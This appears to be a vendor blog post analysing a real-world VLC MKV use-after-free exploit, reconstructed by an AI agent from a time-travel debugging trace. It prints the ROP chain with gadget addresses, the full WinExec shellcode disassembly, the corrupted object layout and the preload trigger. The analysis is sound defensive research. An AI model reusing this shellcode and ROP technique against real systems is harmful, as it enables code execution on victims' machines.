Software Security

VLC Media Player MKV Exploit Analysis

Tiana Razafindralambo
|
-
|
May 2026
Back to all articles
SHARE
TL;DR: This post walks through the analysis of a real-world VLC Media Player exploit using MCP-based time-travel debugging. Given a 4.78-billion-instruction CPU trace and a single prompt, an AI agent reconstructed the full kill chain autonomously , identifying a use-after-free in VLC's MKV demuxer and tracing it through a six-step exploitation chain: heap spray via linked-segment preloading, fake vtable hijack, stack pivot, a 2-gadget ROP chain calling VirtualProtect, and WinExec shellcode that launches a planted calc.exe. We contrast this trace-driven approach with the tools, time, and guesswork a traditional analysis would require, and we detail the methodology the agent used to navigate the trace , from orienting on payload markers to correlating memory writes across 4.5 million instructions. The exploit itself relies on three attacker-placed files (poc.mkv, auxi.mkv, calc.exe) and leverages VLC's mkv-preload-local-dir feature to trigger the vulnerability without user interaction beyond opening a single file.

This post is part of a series on MCP-based time-travel debugging for security analysis. In the first installment, we used the same tool to solve AngryPangolin v2, a CTF challenge that splits its validation logic between a user-mode application and a custom Windows kernel driver communicating through shared memory. The agent cracked the 10-step cipher chain in 6 minutes by tracing backward from the decision point and correlating memory across privilege rings. Here we apply the same approach to a real-world exploit in a widely deployed application.

If you would like to discuss this work with us, reach out on our Slack at slack.eshard.com.

What MCP Time Travel Debugging Makes Possible

The analysis detailed in the MCP Trace-Driven Analysis section was performed entirely by an AI agent querying a recorded CPU execution trace through an MCP interface, using only a single initial prompt with no intermediate human guidance or prompt refinement.

You have access to an MCP that provides a trace of a VLC exploit. Your task is to understand and explain how this exploit worked using the provided MCP. Explain your steps. At the end, provide a write-up about how the exploit worked and how you solved it.

With just this instruction, the agent navigated the trace autonomously , no breakpoints were set, no symbols were loaded, and no source code was consulted. Manual checks were performed afterward to verify the ground truth. Specifically, these facts were confirmed independently of the agent's analysis:

  • The use-after-free vulnerability class and its location in VLC's MKV demuxer
  • The three attacker files and their roles (poc.mkv trigger, auxi.mkv heap spray, planted calc.exe)
  • The heap spray delivery via mkv-preload-local-dir at address 0x40000000
  • The key transition IDs (object construction at ~3,986,668,954, overwrite at ~3,986,760,349, dangling pointer use at ~3,991,144,094)
  • The 2-gadget ROP chain structure and the pre-pivot r8 parameter inheritance
  • The VirtualProtect call and its NtProtectVirtualMemory syscall trampoline
  • The WinExec shellcode disassembly
  • The malicious calc.exe path resolution via WinExec's search order
  • The framebuffer capture confirming the dialog was displayed

Tracing the kill chain backward from the observable effect

Traditional debugging starts at the vulnerability and steps forward, hoping to reproduce the crash. Here the agent started at the payload, calc.exe spawning at transition ~4,437M, and walked backward through the trace to find the WinExec call, the ROP chain, the stack pivot, the fake vtable hijack, and the use-after-free. Every step had a concrete transition ID linking cause to effect.

Correlating memory writes across time

The agent used search_memory_accesses to find every instruction that ever wrote to the freed MKV demuxer C++ object. This revealed the exact sequence: construction (vtable set), free, malloc reuse, memcpy overwrite with attacker data. In a live debugger these events are ephemeral; in the trace they are a permanent, queryable record.

Navigating a 4.78-billion-instruction trace without prior knowledge

The agent had no symbols (symbol support is planned for a future release but is not yet available to AI agents), no source, and no familiarity with VLC's codebase. It searched for strings ("calc", "matroska", "mkv-preload-local-dir"), followed pointer chains through memory, and disassembled code at arbitrary addresses. The MCP interface gave it random access to any point in the trace by transition ID, address, or string content.

Reconstructing the exploit's data flows

By reading memory snapshots at specific contexts and cross-referencing them with instruction-level register values, the agent reconstructed how attacker-controlled data flowed from the MKV file into heap memory, through the fake vtable chain, onto the fake stack as a ROP chain, and finally into executable shellcode.

Each data transformation was verified by reading both the instruction that produced it and the memory state that resulted.

Framebuffer verification

The agent captured the screen at the moment the payload executed, confirming the "We've got you!" dialog was actually displayed rather than inferred from API calls alone.

Framebuffer capture at context 4,565,200,000 (transition ~4,565M) , "We've got you!" Windows MessageBox displayed by calc.exe (pid=1320)

What a Traditional Analysis Would Require

Without a time-travel debugger, analyzing this exploit would involve several independent tools stitched together manually, with significant gaps that the analyst must bridge through guesswork, static reverse engineering, and luck.

Reproducing the vulnerability

The exploit requires three files placed in specific locations and a VLC build compiled without Control Flow Guard (CFG), which would block the indirect call hijack at the virtual dispatch site. The use-after-free depends on a precise heap state: triggering it requires malloc to return the exact address of the freed object, a behavior the Windows heap manager typically fulfills for same-size allocations from the low-fragmentation heap but which is sensitive to allocation ordering and system load. An analyst attempting to reproduce the crash could need multiple runs before the exploit fires, with no guarantee the same conditions reproduce on each attempt.

Identifying the root cause

With a live debugger (WinDbg, x64dbg), the analyst would see the crash at the corrupted virtual call site. From there, they could inspect registers and dump the corrupted object, revealing the 0x41 padding pattern.

But identifying what freed the object is where the difficulty lies. One approach is Application Verifier with PageHeap, though its heap layout changes may prevent the exploit from reproducing at all. Alternatives include WinDbg's own TTD to query backward from the crash, or setting conditional breakpoints on HeapFree / RtlFreeHeap filtered by allocation size , tedious to work through (the free sits ~4.5 million instructions before the crash) but carries zero heap disruption. Each of these requires the analyst to know the target address or size beforehand, which the trace provides upfront.

In the trace, a single search_memory_accesses(<address>) call returns every write to that address, capturing the object's entire lifecycle in one result set: the original construction (vtable written), the free (the low-fragmentation heap writes freelist metadata into the first bytes), and the memcpy overwrite with attacker data.

Reconstructing the ROP chain and shellcode

This part is the most tractable with traditional tools. The analyst can dump the fake stack from the attacker-controlled memory region, disassemble the shellcode, and identify the ROP gadgets using a tool like IDA Pro, Ghidra, Binary Ninja, or radare2 with the VLC binary. The ROP gadget addresses are relative to VLC's base, which is trivially available in any debugging session or crash dump via WinDbg's lm (list modules) command.

Linking the heap spray to the file

The analyst might identify the heap spray at 0x40000000 by searching for the shellcode pattern, but linking this data to auxi.mkv specifically requires understanding how the data arrived. Without memory access history, they would need to trace the data flow through VLC's MKV demuxer, understanding how EBML elements are read, buffered, and copied into heap allocations.

While VLC is open source, the MKV demuxer module spans thousands of lines of C++ with complex EBML parsing logic, making this a substantial source-analysis effort.

Discovering the mkv-preload-local-dir trigger

The command-line invocation (--mkv-preload-local-dir) is not obvious from the crash alone. An analyst would need to notice auxi.mkv's file access pattern (via Process Monitor) and correlate it with VLC's configuration, or search the MKV demuxer source for preloading logic. The trace confirms the feature is active by showing the associated string constants accessed near the file-open transition.

Tools a traditional analyst would use

The table below summarizes an example set of tools an analyst might assemble to conduct this analysis manually, though a more optimal or streamlined combination likely exists.

Tool Purpose
WinDbg / x64dbg Live debugging, crash analysis, register/memory inspection
IDA Pro / Ghidra / Binary Ninja / radare2 Static analysis of VLC binary, gadget hunting, reverse engineering
Application Verifier + PageHeap Detect use-after-free (but risk breaking exploit conditions)
Process Monitor Track file and registry access to identify auxi.mkv and calc.exe
API Monitor Trace VirtualProtect, WinExec calls to understand shellcode behavior
Python / 010 Editor Parse MKV binary data, reconstruct heap spray payload

Even with all these tools, the analysis would take days and would rely on the analyst's familiarity with VLC internals, Windows heap management, and x86_64 exploitation techniques. The TTD trace collapses this into a single, queryable artifact.

The analysis in this post was conducted on a single CPU execution trace recorded from a real exploitation run. Rather than assembling the toolkit described in the previous section, the agent queried this recording through the MCP interface. From here onward, we follow the AI agent's own analysis of the trace, step by step, with no intermediate human guidance or prompt refinement.

MCP Trace-Driven Analysis

Environment

Property Value
Architecture x86_64 (AMD64)
OS Windows 10 Education (x64)
Target process vlc.exe (pid=2620, ppid=1676)
VLC location C:\Program Files\VideoLAN\VLC\
Trace size 4,777,912,712 transitions

Exploit Files

The attacker placed three files on the target system.

File Location Purpose
poc.mkv C:\Users\reven\Documents\ Trigger file, malicious MKV opened by the user
auxi.mkv C:\Users\reven\Documents\ Auxiliary MKV, loaded automatically via linked segment preloading; delivers the heap spray payload
calc.exe C:\Program Files\VideoLAN\VLC\ Malicious payload, shows "We've got you!" dialog

With these three files in place, the vulnerability triggers as follows.

The Vulnerability: Use-After-Free in MKV Demuxer

Root Cause

VLC's MKV demuxer allocates a C++ object (with a vtable at 0x523979b0) during segment parsing. When processing linked segments , triggered by the mkv-preload-local-dir feature , this object is freed but a dangling pointer to it persists in the demuxer's internal data structures.

Later, a new malloc(0xfa0) call during MKV element processing (case 0xe in a switch statement at 0x52280e40) reuses the same heap address (<address>). The demuxer then copies 0x180 bytes of attacker-controlled data from the MKV file into this allocation via memcpy, filling it with a carefully crafted fake object.

The Corrupted Object

The memory at <address> after the overwrite.

0x000: 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
       ... (0x41 padding) ...
0x030: 40 00 00 40 00 00 00 00  <- array start ptr -> attacker memory
0x038: 40 00 01 40 00 00 00 00  <- array end ptr -> attacker memory
       ... (0x41 padding) ...
0x168: 00 04 00 40 00 00 00 00  <- fake vtable chain -> 0x40000400
0x170: 40 00 00 40 00 00 00 00  <- ptr -> attacker memory

The 0x41 padding is the classic overflow marker; the surgical pointer insertions at offsets 0x30, 0x38, 0x168, and 0x170 redirect execution into attacker-controlled memory at 0x40000000.

Trigger Timeline

Transition Event
~2.5M poc.mkv opened from Documents
~122M MKV demuxer plugin loaded, Matroska demuxer initializes
~3,985M mkv-preload-local-dir triggers, auxi.mkv opened and memory-mapped at 0x40000000 (heap spray arrives via OS paging; zero CPU writes)
~3,986,668,954 C++ object constructed at <address> (vtable written)
~3,986,760,349 Object overwritten, memcpy(<address>, attacker_data, 0x180)
~3,991,144,094 Dangling pointer used, corrupted object accessed

Once the corrupted object is dereferenced, the exploitation chain unfolds in six steps.

Exploitation Chain

Step 1: Heap Spray via MKV Data (transition ~3,985M)

When auxi.mkv is memory-mapped at 0x40000000 via the mkv-preload-local-dir feature, the OS paging mechanism populates the region with attacker-controlled data (no CPU memcpy writes). The spray provides the following layout.

  • A fake stack with the ROP chain (at offset 0x400)
  • A fake vtable/pointer chain (at offset 0x3e80x3f8)
  • Shellcode (at offset 0x540)

Step 2: Virtual Function Call Hijack (transition 3,991,144,119)

The demuxer code iterates over tracks/segments and dereferences the dangling pointer.

mov rcx, [rsi+0x168]       ; rsi=<address>, reads 0x40000400 (attacker data)
mov r8,  [rcx+0x8]         ; follows fake pointer chain
mov r10, [r8+0x58]          ; r10 = 0x400003e8 (fake vtable)
call qword ptr [r10+0x10]  ; calls [0x400003f8] = 0x4037ac (ROP gadget!)

At this point, eax = 0x40000400 (also derived from the corrupted object's data), which is critical for the next step.

Step 3: Stack Pivot (transition 3,991,144,120)

The first ROP gadget at 0x4037ac swaps the stack pointer into attacker memory.

xchg esp, eax    ; eax=0x40000400 -> rsp is now in attacker memory!

Before: rsp = 0x874fd08 (legitimate stack)
After: rsp = 0x40000400 (attacker-controlled fake stack)

The remaining instructions of this gadget (rol bl, 0x90, cmp [rcx], 0x5a4d, xor eax, eax, ret) are harmless side-effects; the ret pops the next ROP address from the fake stack.

Step 4: ROP Chain , VirtualProtect (transitions 3,991,144,125–3,991,144,147)

The fake stack at 0x40000400 contains a two-gadget chain that sets rcx and rdx. The third x64 parameter (r8 = flNewProtect) is not set by the ROP chain , it was already loaded at transition #3991144116 by the hijacked call site before the stack pivot:

mov r8, [rcx+0x8]       ; rcx = 0x40000400, reads [0x40000408] = 0x40000040

This value (0x40000040 = PAGE_EXECUTE_READWRITE | PAGE_TARGETS_INVALID) survives through the stack pivot unchanged. The kernel's NtProtectVirtualMemory handler masks the high bits (and ecx, 0x1fffffff), yielding the effective protection 0x40. The ROP chain only needs to set the first two arguments , r8 and r9 are inherited from the pre-pivot context.

Stack Address Value Gadget / Purpose
0x40000400 0x00403b60 pop rcx; ret
0x40000408 0x40000040 → rcx = base address to protect (also read as r8 = flNewProtect pre-pivot)
0x40000410 0x004011c2 pop rdx; ret
0x40000418 0x00001000 → rdx = size (4KB)
0x40000420 0x0040ab70 jmp [IAT:VirtualProtect]
0x40000428 0x40000540 Return address → shellcode

This calls VirtualProtect(0x40000040, 0x1000, 0x40000040) , the kernel masks 0x40000040 to PAGE_EXECUTE_READWRITE (0x40). The IAT entry at 0x412598 resolves to 0x7ffa923f3a90, which trampolines into NtProtectVirtualMemory (syscall 0x50).

Step 5: Shellcode Execution (transition 3,991,148,094+)

With memory marked executable, the shellcode at 0x40000540 runs.

and sp, 0xfff0          ; align stack
push 0x60
pop rdx                 ; rdx = 0x60
push 0x636c6163         ; push "calc"
push rsp
pop rcx                 ; rcx -> "calc" string
sub rsp, rdx            ; allocate stack space

; --- PEB walk to find kernel32.dll ---
mov rsi, gs:[rdx]       ; TEB -> PEB (gs:[0x60])
mov rsi, [rsi+0x18]     ; PEB->Ldr
mov rsi, [rsi+0x10]     ; InLoadOrderModuleList
lodsq                   ; 1st module entry
mov rsi, [rax]          ; 2nd module entry (kernel32.dll)
mov rdi, [rsi+0x30]     ; DllBase

; --- Export table walk to find WinExec ---
add edx, [rdi+0x3c]     ; PE header (e_lfanew)
mov ebx, [rdi+rdx+0x28] ; Export directory RVA
mov esi, [rdi+rbx+0x20] ; AddressOfNames RVA
add rsi, rdi
mov edx, [rdi+rbx+0x24] ; AddressOfNameOrdinals RVA

.loop:
    movzx ebp, word ptr [rdi+rdx]  ; ordinal
    lea edx, [rdx+2]               ; next ordinal
    lodsd                           ; name RVA
    cmp dword ptr [rdi+rax], 0x456e6957  ; "WinE"
    jnz .loop

; --- Resolve and call WinExec ---
mov esi, [rdi+rbx+0x1c] ; AddressOfFunctions
add rsi, rdi
mov esi, [rsi+rbp*4]    ; WinExec RVA
add rdi, rsi             ; absolute address
cdq                      ; rdx = 0 (SW_HIDE)
call rdi                 ; WinExec("calc", SW_HIDE)

; --- Clean exit ---
xor rcx, rcx             ; exit code = 0
mov rax, 0x412680
call [rax]               ; ExitProcess(0) via IAT

Step 6: Payload Execution (transition ~4,031M+)

WinExec("calc") searches for the executable. Windows finds C:\Program Files\VideoLAN\VLC\calc.exe before the real C:\Windows\System32\calc.exe, because the first step in WinExec's search order is the directory from which the application loaded (VLC's install directory), which precedes the system directory.

The malicious calc.exe (pid 1320, parent pid 2620 = VLC) displays a MessageBox that displays a message "We've got you".

The key addresses involved in the exploit.

Key Addresses

Address Description
<address> Freed C++ object (UAF target), overwritten with attacker data
0x40000000 Attacker-controlled memory region (heap spray from MKV data)
0x40000400 Fake stack (ROP chain)
0x400003e8 Fake vtable pointer chain
0x40000540 WinExec shellcode
0x4037ac Stack pivot gadget ( xchg esp, eax )
0x403b60 ROP gadget ( pop rcx; ret )
0x4011c2 ROP gadget ( pop rdx; ret )
0x40ab70 ROP gadget ( jmp [VirtualProtect IAT] )
0x412598 IAT entry for VirtualProtect wrapper
0x412680 IAT entry for ExitProcess wrapper
0x52280e40 MKV element handler (case 0xe switch)
0x522575c0 C++ object constructor (sets vtable)
0x52259627 Virtual function call site (hijacked)
0x523979b0 Legitimate vtable address for the freed object

The agent followed this methodology to reconstruct the full chain.

Analysis Methodology

  1. Orient: Used get_trace_overview for architecture and scale (4.78B transitions, x86_64, vlc.exe). Used get_workflow("exploit") to load the EPOCH exploit methodology. Searched for payload markers ("calc", "poc", "matroska") to map the timeline.
  2. Anchor on payload: Traced calc.exe process creation backward. Found calc.exe at pid=1320, ppid=2620 (vlc.exe) at transition ~4,437M. Found C:\Program Files\VideoLAN\VLC\calc.exe path , a planted malicious binary, not the system calculator.
  3. Find control flow hijack: Traced backward from the calc.exe creation to find shellcode at 0x40000540, then traced backward from the shellcode to find the ret instruction (transition ~3,991,148,093) that jumped to shellcode.
  4. Decode ROP chain: Walked backward from the ret to find the xchg esp, eax stack pivot (transition ~3,991,144,120) and the full ROP chain on the fake stack at 0x40000400. Identified VirtualProtect call to mark shellcode executable.
  5. Trace the vulnerability: Found the corrupted virtual call at MKV demuxer code (0x52259627). Read memory at the corrupted object (<address>) to see the 0x41 overflow pattern with embedded pointers. Traced writes using search_memory_accesses to identify object construction (vtable set to 0x523979b0), object overwrite (memcpy of 0x180 bytes of attacker data), and malloc(0xfa0) returning the same address , confirming heap reuse after free.
  6. Link to MKV feature: Found "mkv-preload-local-dir" and "Preload matroska files in the same directory to find linked segments" strings accessed right before auxi.mkv was opened (transition ~3,985,467,895), confirming the linked-segment preloading feature is the attack surface.

The full attack flow, from user action to payload.

Attack Flow Diagram

User opens poc.mkv
        |
        v
VLC Matroska demuxer loads
        |
        v
mkv-preload-local-dir triggers ──> auxi.mkv auto-loaded
        |                                    |
        v                                    v
C++ object allocated at 0x3f40d20    Exploit data sprayed to 0x40000000
        |                                    |
        v                                    v
Object freed (dangling ptr persists)  malloc reuses 0x3f40d20
        |                                    |
        v                                    v
Dangling ptr dereferenced ─────────> Attacker data interpreted as C++ object
        |
        v
Virtual call hijacked: call [r10+0x10] -> 0x4037ac
        |
        v
Stack pivot: xchg esp, eax (rsp -> 0x40000400)
        |
        v
ROP: pop rcx; pop rdx; jmp [VirtualProtect]
        |
        v
Shellcode at 0x40000540: WinExec("calc")
        |
        v
Malicious calc.exe in VLC dir executes
        |
        v
"We've got you!" dialog
Framebuffer capture at context 4,565,200,000 (transition ~4,565M) , "We've got you!" Windows MessageBox displayed by calc.exe (pid=1320) inside user32!MessageBoxA

Conclusion

This analysis demonstrates that an MCP-based time-travel debugging interface, combined with an AI agent, can reconstruct a complete exploit chain from a raw CPU execution trace with no prior knowledge of the target software. Given only a 4.78-billion-transition recording and a single prompt, the agent autonomously identified the vulnerability class (use-after-free), traced the heap reuse, decoded the ROP chain, disassembled the shellcode, and confirmed the payload execution , all without human guidance, source code, symbols, or a live debugging environment. The trace itself was the only input.

We also showed what the same analysis would require without a time-travel debugger: a patchwork of tools, non-trivial reproduction effort, and familiarity with Windows heap internals and VLC's MKV demuxer. The trace collapses this multi-day effort into a single, queryable artifact, accessible through a structured API that an AI agent can navigate autonomously.